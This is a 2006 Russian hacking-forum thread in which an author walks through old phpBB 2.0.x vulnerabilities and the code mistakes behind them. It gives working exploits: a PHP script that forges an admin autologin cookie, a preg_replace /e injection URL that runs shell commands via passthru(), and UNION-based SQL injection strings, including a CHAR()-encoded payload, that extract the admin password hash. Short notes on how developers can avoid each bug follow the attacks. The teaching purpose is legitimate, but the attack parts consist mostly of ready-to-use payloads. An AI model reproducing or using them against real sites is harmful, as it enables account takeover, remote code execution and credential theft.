XSS, SQL-inj, PHP-inj и др. на примере phpBB

Discussion in 'Уязвимости' started by pch, 5 Jun 2006.

  1. pch

    pch Elder - Старейшина

    Joined:
    22 Oct 2005
    Messages:
    34
    Likes Received:
    41
    Reputations:
    15
    В этой статье я хотел показать основные найденные дыры в phpbb2, но не со стороны скрипт-киддисов (дайте я туда сюда вставлю завалю козлов я да я да как? не понял сам му**к!), а изнутри - где ошибаются программистов и как от стадии "подставил ' - выматерилось" довести до "а вот он и хэш". Вообщем, жду конструктивной критики!

    Использование оператора равно вместо оператора идентично
    Пояснение
    В php есть два оператора для сравнения выражений: "==" и "===". Разница между ними в том, что при несоответсвии типов выражений, первый оператор попытается привести выражения к одному типу, а второй - выдаст false. Таким образом код
    PHP:
    $password='pass';
    if (
    $password==true) echo "Password is right!";
    Подтвердит "правильность" пароля, так как непустая строка "верна".
    Где это
    Уязвимость работала до 12-й версии включительно
    Уязвимость содержалась в файле-библиотеке includes/sessions.php, отвечающей за работу с куками.
    Суть проблемы
    Функция session_begin в файле includes/sessions.php обрабатывает куки и в зависимости от того, что там лежит, либо логинит, либо - нет. Пару слов о куках. PhpBB использует две куки: "phpbb2mysql_sid" и "phpbb2mysql_data". Первая - это банальный идентификатор сессии, но который разработчики phpBB реализовали самостоятельно, без использования встроенного в php механизма сессий. Выглядит она примерно так: "66cb582584cadd70256a8e19f419501e". Вторая - более интересная. Выглядит она как-то так (после url-дешифровки): "a:2:{s:11:"autologinid";s:32:"81de428d6016cc0a8cc15e6b415b6bd9";s:6:"userid";s:1:"3";}". Те, кто делал на php что-либо более-менее серьёзное, сразу скажут, что это - сериализованный одномерный двухэлементный массив. Для остальных - поясню. В php есть очень удобный механизм "замораживания" объекта. Имя этому механизму - serialize. Функция serialize(mixed) возвращает строку, содержащую все данные об оьъекте. Функция unserialize(string) - обратная к serialize, по сгенерированной строке возвращает объект в его сохранённом виде.
    Но вернёмся к phpBB. Строка a:2:{s:11:"autologinid";s:32:"81de428d6016cc0a8cc15e6b415b6bd9";s:6:"userid";s:1:"3";} означает:
    -->массив от 2-х элементов
    ----->индекс первого элемента - строка из 11 символов: "autologinid"
    ------->ключ первого элемента - строка из 32 символов: "81de428d6016cc0a8cc15e6b415b6bd9"
    ----->индекс второго элемента - строка из 6 символов: "userid"
    ------->ключ второго элемента - строка из 1 символа: "3"

    Что такое userid, думаю, объяснять излишне. В autologinid храниться хэш пользователя. Впрочем, если юзер не попросил его запомнить, то эта строка будет пуста и в куках будет нечто такое: "a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:1:"2";}". Полученный массив присваивается переменной $sessiondata (строка 40). Далее, если есть autologinid и вообще "всё хорошо", то происходит сравнение хэша, переданного в куках с настоящим хэшом:
    PHP:
    $auto_login_key $userdata['user_password'];
    /* здесь ещё пара малозначительных проверок */
    if( $sessiondata['autologinid'] == $auto_login_key )
    {
       
    $login 1;
       
    // переменная $login детерминирует залогиненость юзера. если $login=1, то юзер - зашёл 
       
    $enable_autologin 1;
    }
    В этом, казалось бы, безбажном коде, копается всё же один вышеописанный тараканчик - если в $sessiondata['autologinid'] вставить true, то при всех $userdata['user_password'] (и соответсвенно при всех $userdata['userid']) равенство верно. Как задать $sessiondata['autologinid']=true? Просто! Следующий скрипт генирирует искомую куку:
    PHP:
    $id=2// сюда ставим id юзера, под которым хотим зайти; 2 - id админа по умолчанию
    $userdata=Array('autologinid'=>true'userid'=>$id);
    echo 
    "Serialize: ".serialize($userdata)."<br>";
    echo 
    "Encoded serialize: ".rawurlencode(serialize($userdata));
    В последней строке получаем извесный "эксплоит" под phpBB.
    Как не вляпаться
    Конечно, чтобы не сделать такую ошибку, надо каждый раз, когда пишете '==' отдавать себе отчёт о том, что вы делаете. Впрочем, поскольку это место тонкое и постоянно помнить про него сложно, то лучше вначале вручную свести переменные к нужным типам с помощью strval(), intval() итд.




    Плохая фильтрация переменной, передаваемой в preg_replace с модификатором "e"
    Пояснение
    Как известно, если вызвать функцию preg_replace ($pattern, $replacement, $subject) с модификатором "e", то replacement перед подстановкой компилируется.
    В этом месте было несколько ошибок
    Раскрытие пути
    Где это
    Уязвимость работала до 12-й версии включительно
    Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран.
    Суть проблемы
    В phpBB, как и в любом нормальном форуме, есть работающий поиск. Более того, для удобства этого самого поиска найденные слова подсвечиваются с помощью preg_replace(), находящей искомые слова. Но хватит слов - подойдём ближе к телу, тьфу-ты, к коду!
    PHP:
    if (isset($HTTP_GET_VARS['highlight']))
    {
        
    // слова, разделённые пробелом, помещаются в массив $words и фильтруются
        
    $words explode(' 'trim(htmlspecialchars($HTTP_GET_VARS['highlight'])));
        
    // после чего складываюся в переменную $highlight_match, разделяемые символом "|"
        
    for($i 0$i sizeof($words); $i++)
        {
            if (
    trim($words[$i]) != '')
            {
                
    $highlight_match .= (($highlight_match != '') ? '|' '') . str_replace('*''\w*'phpbb_preg_quote($words[$i], '#'));
            }
        }
        unset(
    $words);
        
    $highlight_match phpbb_rtrim($highlight_match"\\");
    }
    /*  некоторый невлияющий код */
    if ($highlight_match)
    {
        
    // если существует непустой $highlight_match, то делаем выделение
        
    $message str_replace('\"''"'substr(
                
    preg_replace(
                    
    '#(\>(((?>([^><]+|(?R)))*)\<))#se'
                    
    "preg_replace(
                        '#\b(" 
    $highlight_match ")\b#i', 
                        '<span style=\"color:#" 
    $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', 
                        '\\0'
                    )"
    ,
                    
    '>' $message '<'
                
    ), 
            
    1, -1)
        );
    }

    Строка с искомыми словами содержится в переменной highlight и передаётся в viewtopic.php методом GET. Там она разбивается, перетряхивается в всевозможных решетах, наконец, снова собирается в форме, пригодной для использования в регулярном выражении. Несложно видеть, что функция preg_replace - аж две! Первая находит всё, что не является тэгами, и подставляет это во второе. После подстановки, так как задан модификатор "e", она компилирует, можно сказать, eval'ирует полученное второе выражение. Однако есть одно но, о котором большая часть читателей знает, а другая - догадывается: если набить произвольный текст в блокнот и подсунуть это компилятору, то он вас пошлёт туда ... "где за тучей белеет гора". Хотя - вру! Он укажет путь, причём абсолютный (chroot - не всчёт). Из-за фильтров произвольный текст в $highlight_match набить не удастся, но "нарваться на грубость" - получится. Нампример, так: "\7". После фильров, это преобразуется в "\\\\7". Это было бы просто два экраннированных слэша, если бы дело не происходило внутри preg_replace. Для него это - заэкраннированный слэш, за которым следует седьмое совпадение, что невозможно. Получаем ошибки и искомый путь.
    Эксплоит выглядит как-то так: hxxp://phpbb_2_0_12.phpbb/viewtopic.php?t=1&highlight=\7
    Внедряем PHP(PHP-injection)
    Где это
    Уязвимость работала до 15-й версии включительно
    Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран.
    Суть проблемы
    Всё-таки шанс - удивительный! Мы можем выполнить почти произвольный код! Теперь подробнее поговорим об этом почти, то есть о фильтрах. Для начала, обновлённый код:
    PHP:
    if (isset($HTTP_GET_VARS['highlight']))
    {
        
    // слова, разделённые пробелом, помещаются в массив $words и фильтруются
        
    $words explode(' 'trim(htmlspecialchars($HTTP_GET_VARS['highlight'])));
        
    // после чего складываюся в переменную $highlight_match, разделяемые символом "|"
        
    for($i 0$i sizeof($words); $i++)
        {
            if (
    trim($words[$i]) != '')
            {
                
    $highlight_match .= (($highlight_match != '') ? '|' '') . str_replace('*''\w*'phpbb_preg_quote($words[$i], '#'));
            }
        }
        unset(
    $words);
        
    $highlight_match phpbb_rtrim($highlight_match"\\");
    }
    /*  некоторый невлияющий код */
    if ($highlight_match)
    {
        
    $message str_replace('\"''"'substr(
                @
    preg_replace(
                    
    '#(\>(((?>([^><]+|(?R)))*)\<))#se'
                    
    "@preg_replace(
                        '#\b(" 
    str_replace('\\''\\\\'$highlight_match) . ")\b#i', 
                        '<span style=\"color:#" 
    $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', 
                        '\\0'
                    )"

                    
    '>' $message '<'),
             
    1, -1));
    }
    Как видите, отличий немного - это "собака" перед preg_replace'ами и замена всех экраннированых слэшей на парно экраннированные. Первое убирает вывод ошибок (и раскрытие пути). Необходимость второго обусловленна тем, что при "компиляции" внутри preg_replace двойные слэши переходят в одинарные. Не суть! Судьбу $highlight_match в основном решают две функции - htmlspecialchars и phpbb_preg_quote. Действие первой - понятно, вторая аналогична preg_quote плюс она экранирует символ #, чтобы мы не могли выйти за пределы регулярного выражения. Таким образом, единственное, что нам необходимо для счастья - чтобы компилятор не обращал внимание на дополнительные слэши, о чём речь дальше.
    Давайте поговорим о дряни (©), которая, впрочем, не мешает выполнению скрипта.
    Code:
    phpinfo();
    Этот код, очевидно, корректен.
    Code:
    phpinfo\\();
    Этот код не очень корректен, матерится, но выполняется.
    Code:
    \\\\phpinfo\\\\\(\\\\)\\\\;
    Аналогично.
    Но, что самое удивительное, выполняется (ругаясь, конечно) следующий код:
    Code:
    $xxx='var name test';
    echo \\\\"aaaa"\.\\$xxx.phpinfo\\(\\)\.\\"aaaa";
    
    То есть компилятор закрывает глаза на одинарные и двойные слэши после закрытия кавычки и до оператора конкатенации.
    Code:
    echo $_GET[aaa];
    
    Если GET'ом передать значаении переменной 'aaa', то компилятор скажет, конечно, что константа 'aaa' - не определена, но выведет её значение.
    Этого нам достаточно.

    Как видим, "дрянь" не мешает выполнению кода, хотя и выводит неприличные надписи. Впрочем, разработчики phpBB услужливо для такого дела добавили "@"!
    Приступим!
    Фрагмент кода, в котором будет выпоняться наш код: '#\b(" . str_replace('\\', '\\\\', $highlight_match) . ")\b#i'. Нам надо выйти за пределы параметра, ограниченного одинарными апострафами ('), добавить оператор конкатенации для облюдения "приличий" языка, после чего добавить любый команду, выводящую что-либо на экран.
    Пробуем:
    GET: hxxp://phpbb_2_0_15.phpbb/viewtopic.php?t=1&highlight='.phpinfo().'
    После _всех_ фильтров в регулярное выражение подставится строка: "\\\\'\\.phpinfo\\(\\)\\.\\\\'"

    Как вы могли видеть из разговора о дряни, многочисленные слэши никак не помешают выполнению phpinfo(). А так как вывод ошибок для preg_replace запрещён, то и никаких ошибок не будет выведенно.
    Что делать далее - очевидно: подставить вместо phpinfo() - passthru(). (Лучше использовать именно passthru(), а не system() или exec(), так как она печатает _весь_ результат выполнения команды.) Так как пробелы в highlight передать не получится, то лучше сам набо команд передавать в другой переменной методом GET, и подставлять её в passthru();
    Примерный эксплоит (команду задавать в com): hxxp://phpbb_2_0_15.phpbb/viewtopic.php?t=1&com=echo coommand_here&highlight='.passthru($_GET[com]).'
    Напоследок отмечу, что такая же уязвимость была найдена в версии 10! Разница была _только_ в том, что в 10-й версии переменная $HTTP_GET_VARS['highlight'] проходила через urldecode, и соотвественно взломщику приходилось всё, наоборот, кодироватьть в url (urlencode). В 11-й версии urldecode убрали, и сплоит перестал работать, но уязвимость-то осталась!!! Самое удивительное, что этого не замечали (а скорее, не говорили вслух) аж до версии 15!
    Как не вляпаться
    Во-первых, не недо использовать модификатор 'e'. Если же без него никак, то надо иметь _очень_ прямые руки, голову (лучше две) на плечах и много, много, много тестировать!


    Недостаточное усмирение register_globals On(SQL-injection)
    Пояснение
    При установленном флаге register_globals все переменные окружения доступны не только через суперглобальные массивы, но и напрямую. Это создаёт некоторые дополнительные проблемы для программиста. Например, следующий код:
    PHP:
    $pass=$_GET['pass'];
    if (
    $pass==='dfY4gFCxjdf'$log_in=1;
    if (
    $log_in==1) echo "Password is right. You are logged in!";
    Выведет заветную фразу не только при зпросе ?pass=dfY4gFCxjdf, но и при запросе ?pass=i_don't_now_the_password_but&log_in=1
    Где это
    Уязвимость работала до 5-й версии включительно
    Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран.
    Суть проблемы
    Поскольку главная задача скрипта viewtopic.php - вывод топиков, то но должен получать и обрабатывать номер топика. Делает он это так:
    PHP:
    if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
    {
        
    $topic_id intval($HTTP_GET_VARS[POST_TOPIC_URL]);
    }
    else if ( isset(
    $HTTP_GET_VARS['topic']) )
    {
        
    $topic_id intval($HTTP_GET_VARS['topic']);
    }
    Значение $topic_id берётся из переменных окружения, прешедших методом GET - из "topic" или "t" (t - это значение константы POST_TOPIC_URL по умолчанию). Заметьте, что если оба if'а не выполнены, то $topic_id - не определён... Мы это исправим!
    Далее идёт малозначащий код. После этого форум проверяет, задано ли view == 'newest'. Если да, то выводятся новые сообщения. Код (для лучшего восприятия кода я подставил значение констант по умолчанию):
    PHP:
    if ( isset($HTTP_GET_VARS['view']) && empty($HTTP_GET_VARS['p']) )
    {
        if ( 
    $HTTP_GET_VARS['view'] == 'newest' )
        {
            if ( isset(
    $HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_sid']) || isset($HTTP_GET_VARS['sid']) )
            {
                
    $session_id = isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_sid']) ? $HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_sid'] : $HTTP_GET_VARS['sid'];

                if ( 
    $session_id )
                {
                    
    $sql "SELECT p.post_id
                        FROM  phpbb_posts  p, phpbb_sessions s,  phpbb_users u
                        WHERE s.session_id = '
    $session_id'
                            AND u.user_id = s.session_user_id
                            AND p.topic_id = 
    $topic_id
                            AND p.post_time >= u.user_lastvisit
                        ORDER BY p.post_time ASC
                        LIMIT 1"
    ;
                
    // выполнение запроса и обработка его результатов

    Как видите, в этом каскаде if'ов не проверки, установлен ли $topic_id! После чего эта незаданная, а значит и непроверенная переменная напрямую попадает в sql-запрос! Проверяем: hxxp://phpbb_2_0_5.phpbb/viewtopic.php?view=newest&p=&topic_id=1'. Ругается, ура!
    Несколько замечаний:
    1)Чтобы вытянуть что-нибудь полезное из базы, будем использовать UNION.
    2)Поскольку из базы используется ровно одна строка (из-за LIMIT 1), и возиться с концом запроса неохота, то topic_id будет иметь вид 1 AND 17=19 UNION SELECT что-то /* комментарием отбиваем конец исходного. Конечно, вместо 1 надо вставить существующий топик.
    3)Посколько из базы достаётся только одно поле p.post_id (Номер последнего непрочитанного сообщения), то и у нас не получится вытащить более одного поля. Будет вытаскивать хэш админа, а если более точно, то "phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2"
    Объединяя всё сказанное получим: "1 AND 17=19 UNION SELECT phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2 /*".
    Так получаем эксплоит: hxxp://phpbb_2_0_5.phpbb/viewtopic.php?view=newest&p=&topic_id=1 AND 17=19 UNION SELECT phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2 /*
    Искомый хэш придёт вместе с заголовком Location: http://phpbb_2_0_5.phpbb/viewtopic.php?p=21232f297a57a5a743894a0e4a801fc3#21232f297a57a5a743894a0e4a801fc3. Полагаю, выделить отсюда хэш - несложно ;)
    Как не вляпаться
    Лично я обычно выключаю register_globals через .htaccess (для этого надо добавить строку: "php_flag register_globals off"), так как необходимость в них отсутствует, а написать $_GET['var'] вместо $var мне проще, чем заниматься геморром с отлавливанием попыток что-то подменить (какой же геморр? - посмотрите на досуге файл "common.php" в phpBB2).


    Продолжение в следующем посте

    © pch (pchopch on the gmail.com) [antichat.ru] 2006
     
    27 people like this.
  2. pch

    pch Elder - Старейшина

    Joined:
    22 Oct 2005
    Messages:
    34
    Likes Received:
    41
    Reputations:
    15
    Скорее всего - просто ляп(SQL-injection)
    Пояснение
    Большинство функций в php не изменяют самих переменных переданных им. (Строго говоря, они просто не могут этого сделать, так как переменные по умолчанию передаются по значению, а не по ссылке...). Но многие прогаммисты по невнимательности или из-зи безграммотности пишут:
    PHP:
    $str='bik';
    str_replace('k''g'$str);
    $num='4 b';
    intval($num);
    if (
    $str==='big' && $num===4) echo "All right!";
    И удивляются пустому экрану...
    Где это
    Уязвимость работала до 5-й версии включительно (в 6-й версии была оперативно закрыта)
    Уязвимость содержалась в файле searc.php, отвечающем за всевозможный поиск.
    Суть проблемы
    Уязвимая переменная - $search_id. В ней хранится либо режим поиска, либо идентификатор поискового запроса (для ускорния работы результаты поиска загоняются в массив, сериализуются и сохраняются в БД). Инетересный для нас случай - последний:
    PHP:
    if ( intval($search_id) )
    {
        
    $sql "SELECT search_array 
            FROM " 
    SEARCH_TABLE 
            WHERE search_id = 
    $search_id  
                AND session_id = '"
    $userdata['session_id'] . "'";
        
    // рассериализация, вывод результатов поиска
    Здесь мы видим очевидный ляп в первой строке. Скорее всего, здесь должно стоять что-то типа:
    PHP:
    $search_id=intval($search_id);
    if ( 
    $search_id )
    Чтобы пройти проверку if ( intval($search_id) ) достаточно, чтобы $search_id начинался с отличной от нуля цифры. После запроса данные рассериализуются и далее не проверяются. Реализовать SQL-injection в данном случае чуть сложнее технически (хэш мы можем получить только в следующем запросе), но вполне реально. Впрочем, я лучше покажу - новичкам будет интересно. Те, кто уже достаточно владеет техникой MySQL-inj предлагаю самим пройти этот левел ;) . Чтобы не тратит время на всякую фигню, скажу, что в таблицах `phpbb_posts` и `phpbb_topics` по 13 полей, phpbb_search_results.search_array выглядит как-то так:
    Code:
    [b][color=#9653DF]a:7:{s:14:"search_results";s:1:"3";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}[/b][/color]
    . Необходимый кусок кода:
    PHP:
    // в $store_vars хранятся названия переменных, которые будут иницилизированны по ходу
    $store_vars = array('search_results''total_match_count''split_search''sort_by''sort_dir''show_results''return_chars');

    // <вырезано>

    // знакомый кусок
    if ( intval($search_id) )
    {
        
    $sql "SELECT search_array 
            FROM phpbb_search_results 
            WHERE search_id = 
    $search_id  
                AND session_id = '"
    $userdata['session_id'] . "'";
        if ( !(
    $result $db->sql_query($sql)) )
        {
            
    message_die(GENERAL_ERROR'Could not obtain search results'''__LINE____FILE__$sql);
        }

        if ( 
    $row $db->sql_fetchrow($result) )
        {
            
    $search_data unserialize($row['search_array']);
            for(
    $i 0$i count($store_vars); $i++)
            {
                $
    $store_vars[$i] = $search_data[$store_vars[$i]];
            }
        }
    }

    if ( 
    $search_results != '' )
    {
        if ( 
    $show_results == 'posts' )
        {
            
    $sql "SELECT pt.post_text, pt.bbcode_uid, pt.post_subject, p.*, f.forum_id, f.forum_name, t.*, u.username, u.user_id, u.user_sig, u.user_sig_bbcode_uid  
                FROM phpbb_forums f, phpbb_topics t, phpbb_users u, phpbb_posts p, phpbb_posts_text pt 
                WHERE p.post_id IN (
    $search_results)
                    AND pt.post_id = p.post_id
                    AND f.forum_id = p.forum_id
                    AND p.topic_id = t.topic_id
                    AND p.poster_id = u.user_id"
    ;
            
    // далее следует собственно сама печать на экран

    Рассказываю решение этого квеста. Будем идти снизу вверх:
    1) Единственная переменная, на которую мы вляем - это $search_results. Нам необходимо закрыть скобку (оставив что-то внутри неё), и желательно сделать так, чтобы этот запрос не дал ничего. После этого UNION и комментарий в конце: "20) AND 2=1 UNION SELECT что-то ещё /*".
    2) Последний запрос выдаёт 1+1+1+13+1+1+13+1+1+1+1=35 полей. Первое выдаваемое поле идёт в pt.post_text, то есть в текст сообщения - туда-то и положим хэш. В остальные поля положим "a":
    Code:
    [b][color=#9653DF]20) AND 2=1 UNION SELECT  phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*[/b][/color]
    3)Идём выше. Пришло время разобраться в том, что же хранится в сериализованной строке phpbb_search_results.search_array. Если рассериализовать строку, которую я давал выше, то получится:
    Code:
    Array
    (
        [search_results] => 3
        [total_match_count] => 1
        [split_search] => Array
            (
                [0] => example
            )
    
        [sort_by] => 0
        [sort_dir] => DESC
        [show_results] => posts
        [return_chars] => 200
    )
    
    Теперь видно откуда берётся перменная $search_results - она содержится в зариализованной массиве. Как же её изменить? Проще всего - скриптом:
    PHP:
    $str='a:7:{s:14:"search_results";s:1:"3";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}';
    $ar=unserialize($str);
    $ar['search_results']='20) AND 2=1 UNION SELECT  phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*';
    echo 
    serialize($ar);
    Получаем такого монстрика:
    Code:
    [b][color=#9653DF]a:7:{s:14:"search_results";s:235:"20) AND 2=1 UNION SELECT  phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}[/b][/color]
    4) Осталось впизнуть нашу строку вместо настоящей. Это делается проще простого: в $search_id вставляем какое-то число (чтобы if прошёл) и пересекаем с каким-либо неверным условие (AND 1=2); далее делаем UNION SELECT и вставляем нвшу строку; напоследок - закомментируем конец строки. Получили
    Code:
    [b][color=#9653DF]11 AND 2=1 UNION SELECT 'a:7:{s:14:"search_results";s:235:"20) AND 2=1 UNION SELECT  phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}' /*[/b][/color]
    .
    5) Что - не работает? Конечно! В phpBB встроенно обязательное закавычивание всех переменных окружения. Это почти "магические кавычки", но реализовано вручную. Поэтому если мы просто пошлём получившуюся строчечку GET'ом, то нарвёмся на облом. Но выход есть! Как, наверное, многим известно, в MySQL есть замечательная функция char(a1,a2,...), возвращающая строку, состоящую из символов, ascii-коды которых - a1, a2 итд соответственно. Зашифруем с помощью неё все, что идёт после SELECT и до комментария. Поможет нам в этом деле маленький скриптик:
    PHP:
    $str=@$_GET['str'];
    $new_str='CHAR (';
    for (
    $i=0$i<strlen($str); $i++)
        
    $new_str.=($i==0) ? ord($str{$i}) : ','.ord($str{$i});
    $new_str.=')';
    echo 
    $new_str;
    Он шифрует строку, переданную GET'ом в переменной str. Получаем:
    Code:
    [b][color=#9653DF]11 AND 2=1 UNION SELECT CHAR (97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,50,51,53,58,34,50,48,41,32,65,78,68,32,50,61,49,32,85,78,73,79,78,32,83,69,76,69,67,84,32,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,112,97,115,115,119,111,114,100,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,32,70,82,79,77,32,112,104,112,98,98,95,117,115,101,114,115,32,87,72,69,82,69,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,105,100,61,50,32,47,42,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,49,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,55,58,34,101,120,97,109,112,108,101,34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,53,58,34,112,111,115,116,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125) /*[/b][/color]
    Вот и всё! Эксплоит:
    Code:
    http://phpbb_2_0_5.phpbb/search.php?search_id=11 AND 2=1 UNION SELECT CHAR (97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,50,51,53,58,34,50,48,41,32,65,78,68,32,50,61,49,32,85,78,73,79,78,32,83,69,76,69,67,84,32,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,112,97,115,115,119,111,114,100,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,32,70,82,79,77,32,112,104,112,98,98,95,117,115,101,114,115,32,87,72,69,82,69,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,105,100,61,50,32,47,42,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,49,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,55,58,34,101,120,97,109,112,108,101,34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,53,58,34,112,111,115,116,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125) /*
    
    Как не вляпаться
    Не делать ляпов!!! :)


    Плохая обработка BB-тэгов(Cross Site Scripting)
    Пояснение
    BB-тэги - они и в Африке BB-тэги, а CSS - оно иногда бывает XSS. :p Что ещё скать?
    Где это
    Последняя XSS из-за плохой обработки BB-тэгов была 18-й версии
    Уязвимость содержалась в файле-библиотеке includes/bbcode.php, отвечающей за обработку BB-тэгов.
    Суть проблемы
    Уязвимости такого класса искать легче всего, так как обработчик тэгов всегда сидит в одном файле и просмотрев его можно точно сказать, есть уязвимость или нет. Обработчик в phpBB сидит в файле includes/bbcode.php. В данном случае обработчик не только не запрещал, но и установливал '[' и ']' разрешёнными символами:
    Code:
    $patterns[] = "#\[url\]([\w]+?://[\w\#$%&~/.\-;:=,?@[b][color=red]\[\][/color][/b]+]*?)\[/url\]#is";
    
    Выводить сплоит я не буду, хотя бы потому, что есть, например, в статье (link) NaX[no]rt'a.
    Как не вляпаться
    Требования:
    1) Обязательно ограничивать агрументы тэгов кавычками и фильтровать кавычки, открывающиеся и закрывающиеся угловые и квадратные скобки внутри них.
    2) Требовать, чтобы все ссылки (в тэгах img и url) начинались с указания протокола.
    3) Использовать <font color=""> вместо <span style="color:"> итд
    Это необходимые и достаточные требования для полной защиты от таких атак.


    Послесловие.
    Надеюсь вам понравилось! Планирую сделать продолжение - про IPB, если время будет и если кто-нибудь не сделает до меня. Хотя вряд ли найдётся маньяк, готовый по эксплоитам искать ошибку и занова строить сплоит :) .
    Баги ждут вас! Дерзайте!

    © pch (pchopch on the gmail.com) [antichat.ru] 2006
     
    pastword, Bl1Zz and sssssssssssq like this.
  3. syntacsis

    syntacsis Elder - Старейшина

    Joined:
    14 Nov 2005
    Messages:
    78
    Likes Received:
    31
    Reputations:
    6
    Прочитал с интересом. Сенкс за труд, несколько первых пришедших в голову пожеланий, если будешь писать про IPB.
    Не бери в статью уязвимости совсем старых версий. Лучше написать об уязвимостях последних 3-4х. Иначе, можно сказать, что ты рассматриваешь совершенно другой движок. Ведь phpbb 2.0.6 и 2.0.20 это уже совершенно другой код. И теперь многое по другому. Например, хэш уже в куках не хранится, префиксы по умолчанию остаются только у самых начинающих юзеров. Об этом имхо не мешало бы напомнить в статье.
    Еще неплохо бы дополнить статью тем, как защитились от уязвимостей сами разработчики. Обязательно упомяни про это если будешь про IPB писать! Ты кстати сравнивал свои ответы с реализованными решениями? )
    В общем из-за такого разброса во времени и версиях просто невозможно сделать хороший анализ. Или это должен быть мануал на 300 страниц.
    А вообще, молодец конечно. ))
     
    1 person likes this.
  4. Tikson

    Tikson Elder - Старейшина

    Joined:
    9 Oct 2005
    Messages:
    263
    Likes Received:
    42
    Reputations:
    14
    pch
    напиши еще про ipb, vBulletin и e107